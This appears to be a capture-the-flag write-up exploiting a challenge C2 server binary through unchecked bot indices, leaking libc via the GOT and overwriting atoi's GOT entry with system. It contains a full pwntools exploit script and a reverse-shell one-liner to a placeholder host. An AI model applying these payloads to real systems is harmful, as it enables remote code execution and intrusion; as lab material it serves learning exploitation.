0x00. Introduction
➜ tree .
.
├── 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
└── cnc
├── 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
├── 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
└── libc.so.6
The executable files for server and malware (supposedly), source code, and library file are given. Initially, I thought I needed to analyze the 8f7c file which is suspected to be malware, but it turned out completely unrelated to the challenge.
[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
The protection mechanisms applied to the C2 server file 39fd are shown above.
Environment
After a long time, instead of a docker environment, library file was provided, so I tried to load it with LD_PRELOAD, but linking didn’t work well.
I eventually found and used a tool called pwninit. It not only finds and downloads a loader that can load a library file but also patches the binary to load the provided library. It is a very simple yet powerful tool.
Concept
➜ ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080
Running the C2 server file opens port 8080 and waits as shown above. When a request matching the C2 protocol arrives, it executes the corresponding logic.
0x01. Vulnerability
The code is about 500 lines, but I succeeded in exploitation with one vulnerability, so there might be others.
void update_bot(int bot_id, const char* data, size_t data_size) {
pthread_mutex_lock(&bots_mutex);
int index = bot_id;
int field_count = 0;
...
while (*ptr && field_count < 8) {
if (*ptr == '|') {
*ptr = '\0';
fields[field_count++] = start;
start = ptr + 1;
}
ptr++;
}
if (field_count < 8) {
fields[field_count++] = start;
}
if (field_count > 0 && strlen(fields[0]) > 0)
memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
if (field_count > 1 && strlen(fields[1]) > 0)
memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
...
printf("[*] Bot updated: ID=%d\n", bot_id);
pthread_mutex_unlock(&bots_mutex);
}
void detail_bot(int bot_id, int client_socket) {
pthread_mutex_lock(&bots_mutex);
char response[BUFFER_SIZE * 4] = {0};
int index = bot_id;
snprintf(response, sizeof(response),
"BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
bots[index].id,
bots[index].hostname,
bots[index].username,
bots[index].public_ip,
bots[index].private_ip,
bots[index].os_info,
bots[index].cpu_info,
bots[index].ram_info,
bots[index].disk_info,
bots[index].last_seen);
send(client_socket, response, strlen(response), 0);
pthread_mutex_unlock(&bots_mutex);
}
Since update_bot and detail_bot don’t verify index, OOB write and OOB read vulnerabilities occur respectively.
0x02. Exploit
OOB Read
Since the maximum number of bots (MAX_BOTS) is as high as 1000, I was more interested in the area before bots than after.
First, to utilize OOB read, I wrote the payload as follows.
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
The output at this point is:
id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2
Looking at ram_info and disk_info, we get libc addresses. Printing the memory corresponding to the area above bots shows:
gef➤ x/46gx 0x0000000000406000
0x406000 <free@got.plt>: 0x00007ffff7cadd30 0x00007ffff7d2bbe0
0x406010 <puts@got.plt>: 0x0000000000401050 0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>: 0x00007ffff7d3c400 0x00007ffff7d2ba30
0x406030 <strlen@got.plt>: 0x00007ffff7d8b780 0x00000000004010a0
0x406040 <htons@got.plt>: 0x00007ffff7d395a0 0x00007ffff7d2bec0
0x406050 <printf@got.plt>: 0x00007ffff7c60100 0x00007ffff7c66370
0x406060 <memset@got.plt>: 0x00007ffff7d89440 0x0000000000401100
0x406070 <strcmp@got.plt>: 0x00007ffff7d8afd0 0x00007ffff7c451a0
0x406080 <memcpy@got.plt>: 0x00007ffff7d88a40 0x00007ffff7fc3a40
0x406090 <select@got.plt>: 0x00007ffff7d26bc0 0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>: 0x00007ffff7cad650 0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>: 0x00007ffff7d2bb50 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0 0x00007ffff7d2c310
0x406110: 0x0000000000000000 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001 0x0000000000000000
0x406130: 0x0000000000000000 0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000 0x0000000000000000
0x406150: 0x0000000000000000 0x0000000000000000
0x406160 <bots>: 0x0000000000000000 0x0000000000000000
The libc addresses were printed through the GOT area. The output addresses are libc addresses of ntohs and sleep.
OOB Write
So I thought of a GOT overwrite scenario using update_bot, but made two mistakes in the process.
- Since areas above GOT only have
r permission, Segmentation Fault occurs when writing hostname, username, etc. - Only attempted to overwrite GOT of
ntohs and sleep
These mistakes wouldn’t have happened with careful code review, so I’m recording them for feedback.
if (field_count > 6 && strlen(fields[6]) > 0)
memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);
- Since
memcpy only happens when strlen(field[i]) > 0, leaving field[i] empty can skip the process of writing hostname, username, etc. - Since
memcpy copies entire memory, we can overwrite GOT of other functions after instead of specifically ntohs or sleep
Anyway, to utilize OOB write for GOT overwrite, I printed the GOTs after ntohs.
0x4060b8 <ntohs@got.plt>: 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>: 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>: 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>: 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>: 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0
0x406108 <socket@got.plt>: 0x00007ffff7d2c310
0x406110: 0x0000000000000000
0x406118: 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001
Among these functions, I looked for one convenient for passing input as an argument, and atoi looked good.
void* handle_client(void* arg) {
...
else if (strcmp(cmd, CMD_DELETE) == 0) {
char *bot_id_str = strtok(NULL, "|");
if (bot_id_str) {
int bot_id = atoi(bot_id_str);
delete_bot(bot_id);
char response[] = "DELETED|OK\n";
send(client_socket, response, strlen(response), 0);
}
}
...
}
Since the string after DELETE| sent to the server goes directly into bot_id_str, if we change atoi’s GOT to system‘s address, passing arguments becomes very convenient. We need to preserve existing values since modifying other functions’ GOTs likely causes errors.
So I wrote the payload as follows.
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
Here, passing /bin/sh as system’s argument was sufficient, but depending on the environment, arguments like this might be needed:
bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
p = process(BINARY)
if debug:
gdb.attach(p, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]
print(p.recvuntil(b"8080\n"))
s = remote("127.0.0.1", 8080)
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
ntohs_addr = u64(r[-3] + b"\x00\x00")
sleep_addr = u64(r[-2] + b"\x00\x00")
libc_base = sleep_addr - lib.symbols['sleep']
log.info(f"ntohs_addr : {hex(ntohs_addr)}")
log.info(f"sleep_addr : {hex(sleep_addr)}")
log.info(f"libc_base : {hex(libc_base)}")
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
p.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)